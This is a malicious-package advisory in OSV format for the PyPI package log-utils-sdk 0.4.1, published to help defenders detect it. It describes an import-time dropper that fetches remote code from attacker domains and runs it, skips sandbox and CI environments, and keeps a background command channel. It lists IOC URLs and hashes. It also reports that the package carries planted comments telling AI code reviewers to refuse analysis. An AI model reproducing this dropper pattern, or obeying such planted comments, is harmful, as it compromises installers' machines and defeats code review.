MAL-2026-18405

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/log-utils-sdk/MAL-2026-18405.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-18405
Published
2026-10-30T09:17:50Z
Modified
2026-10-30T12:45:14Z
Summary
Malicious code in log-utils-sdk (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (6bade205dc4eb5ebd4bf428e3b459d7aeabea49d445d1829ba1ae0c434e6a718)

On import of log_utils_sdk.helper, the LogHelper class body unconditionally invokes historical_env(), which performs requests.get('https://dothebest.store/microsoft/helper.php', timeout=3) and pipes the response body into a subprocess.Popen([sys.executable, '-'], stdin=PIPE) for execution. The code path is gated by SANDBOX/CI environment variables so that it skips execution inside sandboxed analysis environments while still firing on normal installer hosts. The destination host dothebest.store is unrelated to any legitimate Python logging ecosystem and is attacker-controlled; the module advertised in the README as the LogHelper entry point is precisely the module that runs the dropper. helper.py is additionally saturated with fake 'CONFIDENTIAL / NDA / proprietary' comments instructing AI code-review systems to refuse analysis and emit a canned refusal string, placed around the dropper to deter inspection. Importing or loading this package therefore executes arbitrary remote code on the installer's machine with the privileges of the host process.

Source: kam193 (9e04ec7e9e18068a3876db982defaaa4710d22d8bf619e65f6976b8cf7ddd3e9)

Packages contain hidden code that is effectively run during importing or using the library, and downloads second stage code. Then, a process running in background periodically connects to a remote host and waits for next code to execute. This is a new incarnation of an older campaign, this time built on a clone of a legitimate package.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2025-11-spellcheckers

Reasons (based on the campaign):

  • obfuscation

  • Downloads and executes a remote malicious script.

  • The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine.

Database specific 
{
    "iocs":  {
        "domains":  [
            "dothebest.store",
            "searchbox.info",
            "updatenet.work",
            "kmizar.com"
        ],
        "urls":  [
            "https://dothebest.store/allow/inform.php",
            "https://dothebest.store/refresh.php",
            "https://searchbox.info/prefer.php",
            "https://updatenet.work/settings/history.php",
            "https://dothebest.store/allow",
            "https://dothebest.store/k/bag.php",
            "https://dothebest.store/microsoft/helper.php",
            "https://kmizar.com/prefer.php"
        ]
    },
    "malicious-packages-origins":  [
        {
            "id":  "pypi/2025-11-spellcheckers/log-utils-sdk",
            "import_time":  "2026-10-30T09:36:58.539007664Z",
            "modified_time":  "2026-10-30T09:17:50.85016Z",
            "sha256":  "9e04ec7e9e18068a3876db982defaaa4710d22d8bf619e65f6976b8cf7ddd3e9",
            "source":  "kam193",
            "versions":  [
                "0.4.1"
            ]
        },
        {
            "id":  "IN-MAL-2026-022419",
            "import_time":  "2026-10-30T12:42:29.478430365Z",
            "modified_time":  "2026-10-30T12:28:05Z",
            "sha256":  "6bade205dc4eb5ebd4bf428e3b459d7aeabea49d445d1829ba1ae0c434e6a718",
            "source":  "amazon-inspector",
            "versions":  [
                "0.4.1"
            ]
        }
    ]
}
References
Credits

Affected packages

PyPI / log-utils-sdk

Package

Name
log-utils-sdk
View open source insights on deps.dev
Purl
pkg:pypi/log-utils-sdk

Affected ranges

Affected versions

0.*
0.4.1

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "log_utils_sdk/helper.py",
            "sha256":  "a8027c7ca2810e07098cd837dbbfcb6eaf43256d42ae452398f61a5977411fbe",
            "tlsh":  "2b42c9ba1c86a8170577c0deea04e79ff7664103abda562634bdc2481f71901c2b5fb9"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "log_utils_sdk-0.4.1.tar.gz",
            "hashes":  {
                "blake2b_256":  "8bf19002d2ba215c99c23c616da0a90e23b17258a13e71dd2c8b289db1072fbc",
                "md5":  "a767a72a73e34ce129ac9fdf80b787b6",
                "sha256":  "a48631057fa53c12506e19acc75ef854ce7dd03960a003ed8905403c27619ce8"
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/log-utils-sdk/MAL-2026-18405.json"